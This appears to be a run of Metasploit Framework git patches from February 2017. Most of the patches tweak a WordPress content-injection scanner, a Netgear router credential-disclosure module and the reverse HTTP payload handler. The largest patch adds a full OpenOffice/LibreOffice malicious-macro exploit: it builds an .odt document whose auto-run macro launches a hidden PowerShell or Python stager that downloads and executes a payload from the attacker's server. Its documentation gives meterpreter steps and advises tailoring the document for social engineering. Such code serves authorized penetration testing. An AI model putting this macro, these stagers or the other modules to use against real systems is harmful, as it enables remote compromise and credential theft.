a/modules/auxiliary/scanner/http/wordpress_content_injection.rb +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -66,6 +66,11 @@ class MetasploitModule < Msf::Auxiliary end def run_host(_ip) + if !wordpress_and_online? + print_error("WordPress not detected at #{full_uri}") + return + end + case action.name when 'LIST' do_list From 2dfff956693cf7549deeb7de2b845932953c3b43 Mon Sep 17 00:00:00 2001 From: Carter Date: Wed, 8 Feb 2017 08:28:23 -0500 Subject: [PATCH 133/426] Fix msftidy warning --- modules/auxiliary/gather/netgear_password_disclosure.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index bc0a11ceb1..b48c1c97fe 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -93,7 +93,7 @@ class MetasploitModule < Msf::Auxiliary password = scrape(raw_html, "Router Admin Password", "You can") if username.nil? || password.nil? return Exploit::CheckCode::Safe - else + else username = username.strip! password = password.strip! end From df38a91fbd945443a0e03df97285258b92be9bb7 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Feb 2017 07:37:09 -0600 Subject: [PATCH 134/426] Be nice and parse JSON for the error --- .../auxiliary/scanner/http/wordpress_content_injection.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb index f993003606..52943bf1b1 100644 --- a/modules/auxiliary/scanner/http/wordpress_content_injection.rb +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -136,11 +136,11 @@ class MetasploitModule < Msf::Auxiliary post_url = full_uri(wordpress_url_post(post[:id])) if res && res.code == 200 - print_good("SUCCESS: #{post_url} (post updated)") - elsif res && res.code == 404 - print_error("FAILURE: #{post_url} (invalid post ID)") + print_good("SUCCESS: #{post_url} (Post updated)") + elsif res && (error = res.get_json_document['message']) + print_error("FAILURE: #{post_url} (#{error})") else - print_error("FAILURE: #{post_url} (unknown error)") + print_error("FAILURE: #{post_url} (Unknown error)") end end end From 6b2a995a7d6068041925782b3bb7ec2cb7cbe69d Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Feb 2017 07:43:00 -0600 Subject: [PATCH 135/426] Revert AutoPublish, since it doesn't work Apparently. --- .../auxiliary/scanner/http/wordpress_content_injection.rb | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb index 52943bf1b1..dec286cfcb 100644 --- a/modules/auxiliary/scanner/http/wordpress_content_injection.rb +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -44,8 +44,7 @@ class MetasploitModule < Msf::Auxiliary register_advanced_options([ OptInt.new('PostCount', [false, 'Number of posts to list', 100]), - OptString.new('SearchTerm', [false, 'Search term when listing posts']), - OptBool.new('AutoPublish', [false, 'Publish updated posts', true]) + OptString.new('SearchTerm', [false, 'Search term when listing posts']) ]) end @@ -129,8 +128,7 @@ class MetasploitModule < Msf::Auxiliary res = update_post(post[:id], title: datastore['POST_TITLE'], content: datastore['POST_CONTENT'], - password: datastore['POST_PASSWORD'], - status: datastore['AutoPublish'] ? 'publish' : nil + password: datastore['POST_PASSWORD'] ) post_url = full_uri(wordpress_url_post(post[:id])) @@ -182,7 +180,6 @@ class MetasploitModule < Msf::Auxiliary payload[:title] = opts[:title] if opts[:title] payload[:content] = opts[:content] if opts[:content] payload[:password] = opts[:password] if opts[:password] - payload[:status] = opts[:status] if opts[:status] send_request_cgi({ 'method' => 'POST', From fd935c8e3cc76c7195c152de1aa1afe4ba10eadb Mon Sep 17 00:00:00 2001 From: Carter Date: Wed, 8 Feb 2017 09:14:39 -0500 Subject: [PATCH 136/426] Update netgear_password_disclosure.rb --- modules/auxiliary/gather/netgear_password_disclosure.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index b48c1c97fe..4861e93e4f 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -97,7 +97,7 @@ class MetasploitModule < Msf::Auxiliary username = username.strip! password = password.strip! end - if username == "" || password == "" + if username.empty? || password.empty? print_error("No Creds found") else print_good("Creds found: #{username}/#{password}") From a71b097e6bffbfac093f33a39868dfa6f918ae03 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Feb 2017 09:13:42 -0600 Subject: [PATCH 137/426] Revert status iteration, since it doesn't work Also. --- .../http/wordpress_content_injection.rb | 46 ++++++++----------- 1 file changed, 18 insertions(+), 28 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb index dec286cfcb..63a6c817a3 100644 --- a/modules/auxiliary/scanner/http/wordpress_content_injection.rb +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -88,21 +88,14 @@ class MetasploitModule < Msf::Auxiliary tbl = Rex::Text::Table.new( 'Header' => "Posts at #{full_uri} (REST API: #{get_rest_api})", - 'Columns' => %w{ID Title URL Status Password} + 'Columns' => %w{ID Title URL Password} ) posts_to_list.each do |post| - if post[:status] == 'publish' - status = 'Published' - else - status = post[:status].capitalize - end - tbl << [ post[:id], Rex::Text.html_decode(post[:title]), post[:url], - status, post[:password] ? 'Yes' : 'No' ] end @@ -146,27 +139,24 @@ class MetasploitModule < Msf::Auxiliary def list_posts posts = [] - %w{publish future draft pending private}.each do |status| - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(get_rest_api, 'posts'), - 'vars_get' => { - 'status' => status, - 'per_page' => datastore['PostCount'], - 'search' => datastore['SearchTerm'] - } - }, 3.5) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(get_rest_api, 'posts'), + 'vars_get' => { + 'status' => status, + 'per_page' => datastore['PostCount'], + 'search' => datastore['SearchTerm'] + } + }, 3.5) - if res && res.code == 200 - res.get_json_document.each do |post| - posts << { - id: post['id'], - title: post['title']['rendered'], - url: post['link'], - status: status, - password: post['content']['protected'] - } - end + if res && res.code == 200 + res.get_json_document.each do |post| + posts << { + id: post['id'], + title: post['title']['rendered'], + url: post['link'], + password: post['content']['protected'] + } end end From 766e7b013d9b280a18c8bebff13d5c0b5d391629 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Feb 2017 09:17:37 -0600 Subject: [PATCH 138/426] Once more, with feeling --- modules/auxiliary/scanner/http/wordpress_content_injection.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb index 63a6c817a3..52eb5f5002 100644 --- a/modules/auxiliary/scanner/http/wordpress_content_injection.rb +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -143,7 +143,6 @@ class MetasploitModule < Msf::Auxiliary 'method' => 'GET', 'uri' => normalize_uri(get_rest_api, 'posts'), 'vars_get' => { - 'status' => status, 'per_page' => datastore['PostCount'], 'search' => datastore['SearchTerm'] } From e76b53c5d19f1c645e08c8b4e0f736432ef293fd Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Feb 2017 09:25:16 -0600 Subject: [PATCH 139/426] Update doc --- .../auxiliary/scanner/http/wordpress_content_injection.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/wordpress_content_injection.md b/documentation/modules/auxiliary/scanner/http/wordpress_content_injection.md index 0be0c20a47..82bd242cb9 100644 --- a/documentation/modules/auxiliary/scanner/http/wordpress_content_injection.md +++ b/documentation/modules/auxiliary/scanner/http/wordpress_content_injection.md @@ -26,10 +26,10 @@ msf auxiliary(wordpress_content_injection) > run Posts at https://[redacted]:443/ (REST API: /wp-json/wp/v2) ============================================================ -ID Title URL Status Password --- ----- --- ------ -------- -1 Hello world! https://[redacted]/2016/10/hello-world/ Published No -87 Hello world! https://[redacted]/2016/08/hello-world-2/ Published No +ID Title URL Password +-- ----- --- -------- +1 Hello world! https://[redacted]/2016/10/hello-world/ No +87 Hello world! https://[redacted]/2016/08/hello-world-2/ No [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed From 870621d169fad4b234c3701b6b4bfb2574667827 Mon Sep 17 00:00:00 2001 From: Tim Date: Wed, 8 Feb 2017 23:30:29 +0800 Subject: [PATCH 140/426] Add OverrideScheme option, fixes #7841 --- lib/msf/core/handler/reverse_http.rb | 11 +++++++++-- lib/msf/core/payload/transport_config.rb | 4 ++-- 2 files changed, 11 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 2458acb839..2a2b6552a2 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -59,6 +59,7 @@ module ReverseHttp OptBool.new('OverrideRequestHost', [false, 'Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT', false]), OptString.new('OverrideLHOST', [false, 'When OverrideRequestHost is set, use this value as the host name for secondary requests']), OptPort.new('OverrideLPORT', [false, 'When OverrideRequestHost is set, use this value as the port number for secondary requests']), + OptString.new('OverrideScheme', [false, 'When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https']), OptString.new('HttpUnknownRequestResponse', [false, 'The returned HTML response body when the handler receives a request that is not from a payload', '

It works!

']), OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false]) ], Msf::Handler::ReverseHttp) @@ -91,6 +92,7 @@ module ReverseHttp # @return [String] A URI of the form +scheme://host:port/+ def payload_uri(req=nil) callback_host = nil + callback_scheme = nil # Extract whatever the client sent us in the Host header if req && req.headers && req.headers['Host'] @@ -103,6 +105,7 @@ module ReverseHttp if datastore['OverrideRequestHost'] || callback_host.nil? callback_host = datastore['OverrideLHOST'] callback_port = datastore['OverrideLPORT'] + callback_scheme = datastore['OverrideScheme'] end if callback_host.nil? || callback_host.empty? @@ -113,6 +116,10 @@ module ReverseHttp callback_port = datastore['LPORT'] end + if callback_scheme.nil? || callback_scheme.empty? + callback_scheme = scheme + end + if Rex::Socket.is_ipv6? callback_host callback_host = "[#{callback_host}]" end @@ -122,9 +129,9 @@ module ReverseHttp end if callback_port - "#{scheme}://#{callback_host}:#{callback_port}" + "#{callback_scheme}://#{callback_host}:#{callback_port}" else - "#{scheme}://#{callback_host}" + "#{callback_scheme}://#{callback_host}" end end diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index b239aec7a2..ad07cd12d9 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -33,7 +33,7 @@ module Msf::Payload::TransportConfig def transport_config_reverse_https(opts={}) config = transport_config_reverse_http(opts) - config[:scheme] = 'https' + config[:scheme] = datastore['OverrideScheme'] || 'https', config[:ssl_cert_hash] = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], datastore['HandlerSSLCert']) config @@ -51,7 +51,7 @@ module Msf::Payload::TransportConfig end { - scheme: 'http', + scheme: datastore['OverrideScheme'] || 'http', lhost: opts[:lhost] || datastore['LHOST'], lport: (opts[:lport] || datastore['LPORT']).to_i, uri: uri, From b06895b604f33b64314cc004c63c5227f47560c0 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Feb 2017 09:39:47 -0600 Subject: [PATCH 141/426] Hide RPORT more intelligently --- lib/msf/core/exploit/http/client.rb | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 571d58fb8b..439b23bb72 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -465,8 +465,15 @@ module Exploit::Remote::HttpClient # Returns the complete URI as string including the scheme, port and host def full_uri(custom_uri = nil) uri_scheme = ssl ? 'https' : 'http' - uri_port = rport.to_s == '80' ? '' : ":#{rport}" + + if (rport == 80 && !ssl) || (rport == 443 && ssl) + uri_port = '' + else + uri_port = ":#{rport}" + end + uri = normalize_uri(custom_uri || target_uri.to_s) + "#{uri_scheme}://#{rhost}#{uri_port}#{uri}" end From 095831e029b8b7150d0b6b83fb45e429edcc725c Mon Sep 17 00:00:00 2001 From: Tim Date: Wed, 8 Feb 2017 23:41:15 +0800 Subject: [PATCH 142/426] fix silly typo --- lib/msf/core/payload/transport_config.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/payload/transport_config.rb b/lib/msf/core/payload/transport_config.rb index ad07cd12d9..3eb12a7037 100644 --- a/lib/msf/core/payload/transport_config.rb +++ b/lib/msf/core/payload/transport_config.rb @@ -33,7 +33,7 @@ module Msf::Payload::TransportConfig def transport_config_reverse_https(opts={}) config = transport_config_reverse_http(opts) - config[:scheme] = datastore['OverrideScheme'] || 'https', + config[:scheme] = datastore['OverrideScheme'] || 'https' config[:ssl_cert_hash] = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], datastore['HandlerSSLCert']) config From 4ee05313d8abb46e0ca6c1a46b5319b406ee6787 Mon Sep 17 00:00:00 2001 From: Mehmet Ince Date: Wed, 8 Feb 2017 19:31:01 +0300 Subject: [PATCH 143/426] Update tested version numbers --- modules/exploits/linux/http/alienvault_exec.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/alienvault_exec.rb b/modules/exploits/linux/http/alienvault_exec.rb index ea969bc932..2b6d83abea 100644 --- a/modules/exploits/linux/http/alienvault_exec.rb +++ b/modules/exploits/linux/http/alienvault_exec.rb @@ -24,7 +24,9 @@ class MetasploitModule < Msf::Exploit::Remote SSH login attempt with a invalid credentials can trigger a created rogue policy which triggers an action that executes operating system command with root user privileges. - This module was tested against AlienVault USM 5.2.5. + This module was tested against following product and versions: + AlienVault USM 5.3.0, 5.2.5, 5.0.0, 4.15.11, 4.5.0 + AlienVault OSSIM 5.0.0, 4.6.1 }, 'License' => MSF_LICENSE, 'Author' => @@ -47,7 +49,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => ARCH_PYTHON, 'Targets' => [ - ['Alienvault OSSIM 5.3.1', {}] + ['Alienvault USM/OSSIM <= 5.3.0', {}] ], 'Privileged' => true, 'DisclosureDate' => "Jan 31 2017", From e7b421e226937a284663218ca3e629b18de3fd37 Mon Sep 17 00:00:00 2001 From: Carter Date: Wed, 8 Feb 2017 13:40:11 -0500 Subject: [PATCH 144/426] Update netgear_password_disclosure.rb --- modules/auxiliary/gather/netgear_password_disclosure.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/gather/netgear_password_disclosure.rb b/modules/auxiliary/gather/netgear_password_disclosure.rb index 4861e93e4f..eb3ef6f024 100644 --- a/modules/auxiliary/gather/netgear_password_disclosure.rb +++ b/modules/auxiliary/gather/netgear_password_disclosure.rb @@ -92,11 +92,12 @@ class MetasploitModule < Msf::Auxiliary username = scrape(raw_html, "Router Admin Username", "Router Admin Password") password = scrape(raw_html, "Router Admin Password", "You can") if username.nil? || password.nil? - return Exploit::CheckCode::Safe - else - username = username.strip! - password = password.strip! + print_error("#{rhost} returned empty credentials") + return end + username.strip! + password.strip! + if username.empty? || password.empty? print_error("No Creds found") else From 047a9b17cfa3e896ab820425cc1b4a3851733f43 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 8 Feb 2017 16:29:40 -0600 Subject: [PATCH 145/426] Completed version of openoffice_document_macro --- .../Basic/Standard/Module1.xml | 6 +- .../openoffice_document_macro/content.xml | 2 +- .../fileformat/openoffice_document_macro.rb | 121 ---------- .../multi/misc/openoffice_document_macro.rb | 214 ++++++++++++++++++ 4 files changed, 217 insertions(+), 126 deletions(-) delete mode 100644 modules/exploits/multi/fileformat/openoffice_document_macro.rb create mode 100644 modules/exploits/multi/misc/openoffice_document_macro.rb diff --git a/data/exploits/openoffice_document_macro/Basic/Standard/Module1.xml b/data/exploits/openoffice_document_macro/Basic/Standard/Module1.xml index 61bfb030c5..c5791ef583 100644 --- a/data/exploits/openoffice_document_macro/Basic/Standard/Module1.xml +++ b/data/exploits/openoffice_document_macro/Basic/Standard/Module1.xml @@ -2,7 +2,5 @@ REM ***** BASIC ***** -Sub OnLoad -MsgBox "Auto1111?" -End Sub - \ No newline at end of file +CODEGOESHERE + diff --git a/data/exploits/openoffice_document_macro/content.xml b/data/exploits/openoffice_document_macro/content.xml index de35e46bf0..69ac403e86 100644 --- a/data/exploits/openoffice_document_macro/content.xml +++ b/data/exploits/openoffice_document_macro/content.xml @@ -1,2 +1,2 @@ - \ No newline at end of file +DOCBODYGOESHER diff --git a/modules/exploits/multi/fileformat/openoffice_document_macro.rb b/modules/exploits/multi/fileformat/openoffice_document_macro.rb deleted file mode 100644 index 57399dbee6..0000000000 --- a/modules/exploits/multi/fileformat/openoffice_document_macro.rb +++ /dev/null @@ -1,121 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' -require 'rex/zip' - -class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::FILEFORMAT - include Msf::Exploit::EXE - - WINDOWSGUI = 'windows' - OSXGUI = 'osx' - LINUXGUI = 'linux' - - def initialize(info={}) - super(update_info(info, - 'Name' => "Apache OpenOffice Text Document Malicious Macro Execution", - 'Description' => %q{ - This module generates an Apache OpenOffice Text Document with a malicious macro in it. - For exploit successfully, the targeted user must adjust the security level in Macro - Security to either Medium or Low. If set to Medium, a prompt is presented to the user - to enable or disable the macro. If set to Low, the macro can automatically run without - any warning. - - The module also works against LibreOffice. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'sinn3r' # Metasploit - ], - 'References' => - [ - ['URL', 'https://en.wikipedia.org/wiki/Macro_virus'] - ], - 'DefaultOptions' => - { - 'EXITFUNC' => 'thread', - 'DisablePayloadHandler' => true - }, - 'Platform' => 'win', - 'Targets' => - [ - ['Apache OpenOffice', {}] - ], - 'Privileged' => false, - 'DisclosureDate' => "Jan 10 2017", - 'DefaultTarget' => 0 - )) - - register_options([ - OptString.new("BODY", [false, 'The message for the document body', '']), - OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt']) - ], self.class) - end - - - def macro_code - %Q| - function GetOS() as string - select case getGUIType - case 1: - GetOS = "#{WINDOWSGUI}" - case 3: - GetOS = "#{OSXGUI}" - case 4: - GetOS = "#{LINUXGUI}" - case - end select - end function - | - end - - def on_file_read(short_fname, full_fname) - buf = File.read(full_fname) - - case short_fname - when /content\.xml/ - buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) - when /Module1\.xml/ - buf.gsub!(/CODEGOESHERE/, macro_code) - end - - yield short_fname, buf - end - - - def package_odt(path) - zip = Rex::Zip::Archive.new - - Dir["#{path}/**/**"].each do |file| - p = file.sub(path+'/','') - - if File.directory?(file) - print_status("Packaging directory: #{file}") - zip.add_file(p) - else - on_file_read(p, file) do |fname, buf| - print_status("Packaging file: #{fname}") - zip.add_file(fname, buf) - end - end - end - - zip.pack - end - - - def exploit - print_status('Generating our odt file...') - path = File.join(Msf::Config.install_root, 'data', 'exploits', 'openoffice_document_macro') - docm = package_docm(path) - file_create(docm) - super - end - -end diff --git a/modules/exploits/multi/misc/openoffice_document_macro.rb b/modules/exploits/multi/misc/openoffice_document_macro.rb new file mode 100644 index 0000000000..89b07a7367 --- /dev/null +++ b/modules/exploits/multi/misc/openoffice_document_macro.rb @@ -0,0 +1,214 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/zip' +require 'cgi' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Powershell + include Msf::Exploit::Remote::HttpServer + + WINDOWSGUI = 'windows' + OSXGUI = 'osx' + LINUXGUI = 'linux' + + def initialize(info={}) + super(update_info(info, + 'Name' => "Apache OpenOffice Text Document Malicious Macro Execution", + 'Description' => %q{ + This module generates an Apache OpenOffice Text Document with a malicious macro in it. + For exploit successfully, the targeted user must adjust the security level in Macro + Security to either Medium or Low. If set to Medium, a prompt is presented to the user + to enable or disable the macro. If set to Low, the macro can automatically run without + any warning. + + The module also works against LibreOffice. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'sinn3r' # Metasploit + ], + 'References' => + [ + ['URL', 'https://en.wikipedia.org/wiki/Macro_virus'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'DisablePayloadHandler' => false + }, + 'Targets' => + [ + [ + 'Apache OpenOffice on Windows (PSH)', { + 'Platform' => 'win', + 'Arch' => [ARCH_X86, ARCH_X64] + }], + [ + 'Apache OpenOffice on Linux/OSX (Python)', { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON + }] + ], + 'Privileged' => false, + 'DisclosureDate' => "Feb 8 2017" + )) + + register_options([ + OptString.new("BODY", [false, 'The message for the document body', '']), + OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt']) + ], self.class) + end + + + def on_request_uri(cli, req) + print_status("Sending payload") + + if target.name =~ /PSH/ + p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true) + else + p = payload.encoded + end + + send_response(cli, p, 'Content-Type' => 'application/octet-stream') + end + + + def primer + print_status("Generating our odt file for #{target.name}...") + path = File.join(Msf::Config.install_root, 'data', 'exploits', 'openoffice_document_macro') + docm = package_odt(path) + file_create(docm) + end + + + def get_windows_stager + %Q|Shell("cmd.exe /C ""#{generate_psh_stager}""")| + end + + + def get_unix_stager + %Q|Shell("#{generate_python_stager}")| + end + + + def generate_psh_stager + @windows_psh_stager ||= lambda { + ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl + download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri) + download_and_run = "#{ignore_cert}#{download_string}" + generate_psh_command_line( + noprofile: true, + windowstyle: 'hidden', + command: download_and_run) + }.call + end + + + def generate_python_stager + @python_stager ||= lambda { + %Q|python -c ""import urllib2; r = urllib2.urlopen('#{get_uri}'); exec(r.read());""| + }.call + end + + + def get_statger + case target.name + when /PSH/ + get_windows_stager + when /Python/ + get_unix_stager + end + end + + + # This macro code has the following in mind: + # 1. It checks the platform to eliminate less misfires. Since we have only tested on Windows/Linux/OSX, + # we only want to fire at those. + # 2. Originally, I tried to embed the payload in the macro code, write it out and then execute it. + # This turned out to be problematic, because for some reason OpenOffice is not able to + # write a large string to a file (I've tried either shell("echo") or using the macro API). + # The stager code is similar to web_delivery. + def macro_code + CGI.escapeHTML(%Q| + Sub OnLoad + Dim os as string + os = GetOS + If os = "#{WINDOWSGUI}" OR os = "#{OSXGUI}" OR os = "#{LINUXGUI}" Then + Exploit + end If + End Sub + + Sub Exploit + #{get_statger} + End Sub + + Function GetOS() as string + select case getGUIType + case 1: + GetOS = "#{WINDOWSGUI}" + case 3: + GetOS = "#{OSXGUI}" + case 4: + GetOS = "#{LINUXGUI}" + end select + End Function + + Function GetExtName() as string + select case GetOS + case "#{WINDOWSGUI}" + GetFileName = "exe" + case else + GetFileName = "bin" + end select + End Function + |) + end + + def on_file_read(short_fname, full_fname) + buf = File.read(full_fname) + + case short_fname + when /content\.xml/ + buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) + when /Module1\.xml/ + buf.gsub!(/CODEGOESHERE/, macro_code) + end + + yield short_fname, buf + end + + + def package_odt(path) + zip = Rex::Zip::Archive.new + + Dir["#{path}/**/**"].each do |file| + p = file.sub(path+'/','') + + if File.directory?(file) + print_status("Packaging directory: #{file}") + zip.add_file(p) + else + on_file_read(p, file) do |fname, buf| + print_status("Packaging file: #{fname}") + zip.add_file(fname, buf) + end + end + end + + zip.pack + end + + + def exploit + super + end + +end From 3e2e15c7b8014ca435fecfcc096243634514a840 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 8 Feb 2017 16:41:42 -0600 Subject: [PATCH 146/426] Add doc for openoffice_document_macro --- .../multi/misc/openoffice_document_macro.md | 59 +++++++++++++++++++ 1 file changed, 59 insertions(+) create mode 100644 documentation/modules/exploit/multi/misc/openoffice_document_macro.md diff --git a/documentation/modules/exploit/multi/misc/openoffice_document_macro.md b/documentation/modules/exploit/multi/misc/openoffice_document_macro.md new file mode 100644 index 0000000000..d2b279b8ac --- /dev/null +++ b/documentation/modules/exploit/multi/misc/openoffice_document_macro.md @@ -0,0 +1,59 @@ +## Description + +This module generates an Apache OpenOffice Text Document with a malicious macro in it. It also +works against LibreOffice. + +For exploit successfully, the targeted user must adjust the security level in Macro Security to +either Medium or Low. If set to Medium, a prompt is presented to the user to enable or disable the +macro. If set to Low, the macro can automatically run without any warning. + +## Vulnerable Application + +* Apache OpenOffice +* LibreOffice + +## Verification Steps + +To use this exploit, you must know the platform of the targeted user. The module supports either +Windows, Linux, and OSX. If the target is using Windows, then the exploit will generate the macro +with malicious Powershell code inside. For other supported platforms, the exploit will generate +Python code. + +An example of using this module against Windows: + +1. Start msfconsole +2. ```use exploit/multi/misc/openoffice_document_macro``` +3. ```set target 0``` +4. ```set payload windows/meterpreter/reverse_tcp``` +5. ```exploit``` + +An example of using this module against Linux or OSX: + +1. Start msfconsole +2. ```use exploit/multi/misc/openoffice_document_macro``` +3. ```set target 1``` +4. ```set payload python/meterpreter/reverse_tcp``` +5. ```exploit``` + +Once started, the module will mainly do these things: + +1. It will start a payload handler. +2. It will start a web server. This is used for the macro to download and execute our final payload. +3. The malicious odt file. Send this to your targeted user. + +## Options + +**BODY** + +This option can be used to insert text to the malicious document. + +## Modification + +Since social engineering will play a big part in the success of the attack, you will most likely +want to modify the odt file. + +1. To do so, first use msfconsole to generate the malicious odt file. +2. Move the odt file to a system that has OpenOffice or LibreOffice +3. You can just use OpenOffice/LibreOffice to edit the file. Make sure you don't modify the macro + code unless you actually know what you're doing. + From cf8aad9ee5d35effb70e3483caaebaa2ce8d84e5 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Wed, 8 Feb 2017 16:51:25 -0600 Subject: [PATCH 147/426] Add demo --- .../modules/exploit/multi/misc/openoffice_document_macro.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/documentation/modules/exploit/multi/misc/openoffice_document_macro.md b/documentation/modules/exploit/multi/misc/openoffice_document_macro.md index d2b279b8ac..921ead7019 100644 --- a/documentation/modules/exploit/multi/misc/openoffice_document_macro.md +++ b/documentation/modules/exploit/multi/misc/openoffice_document_macro.md @@ -47,6 +47,10 @@ Once started, the module will mainly do these things: This option can be used to insert text to the malicious document. +## Demo + +![openoffice_macro_demo](https://cloud.githubusercontent.com/assets/1170914/22761020/9e7667ca-ee1e-11e6-9fc1-a29c55f405f0.gif) + ## Modification Since social engineering will play a big part in the success of the attack, you will most likely From 0d56676690683a0c8fc4ce232f4c7a4aaaf69b81 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Feb 2017 17:02:48 -0600 Subject: [PATCH 148/426] Add error check for listing posts --- modules/auxiliary/scanner/http/wordpress_content_injection.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb index 52eb5f5002..eafb28faff 100644 --- a/modules/auxiliary/scanner/http/wordpress_content_injection.rb +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -66,7 +66,7 @@ class MetasploitModule < Msf::Auxiliary def run_host(_ip) if !wordpress_and_online? - print_error("WordPress not detected at #{full_uri}") + vprint_error("WordPress not detected at #{full_uri}") return end @@ -157,6 +157,8 @@ class MetasploitModule < Msf::Auxiliary password: post['content']['protected'] } end + elsif res && (error = res.get_json_document['message']) + vprint_error("Failed to list posts: #{error}") end posts From cf395ea7b17df8a40cd98491668ade2d2dbef0a4 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 8 Feb 2017 18:00:44 -0600 Subject: [PATCH 149/426] Make error checks more consistent --- .../auxiliary/scanner/http/wordpress_content_injection.rb | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb index eafb28faff..06629910c0 100644 --- a/modules/auxiliary/scanner/http/wordpress_content_injection.rb +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -66,7 +66,7 @@ class MetasploitModule < Msf::Auxiliary def run_host(_ip) if !wordpress_and_online? - vprint_error("WordPress not detected at #{full_uri}") + print_error("WordPress not detected at #{full_uri}") return end @@ -82,7 +82,7 @@ class MetasploitModule < Msf::Auxiliary posts_to_list = list_posts if posts_to_list.empty? - vprint_status("No posts found at #{full_uri}") + print_status("No posts found at #{full_uri}") return end @@ -113,7 +113,7 @@ class MetasploitModule < Msf::Auxiliary end if posts_to_update.empty? - vprint_status("No posts to update at #{full_uri}") + print_status("No posts to update at #{full_uri}") return end @@ -130,8 +130,6 @@ class MetasploitModule < Msf::Auxiliary print_good("SUCCESS: #{post_url} (Post updated)") elsif res && (error = res.get_json_document['message']) print_error("FAILURE: 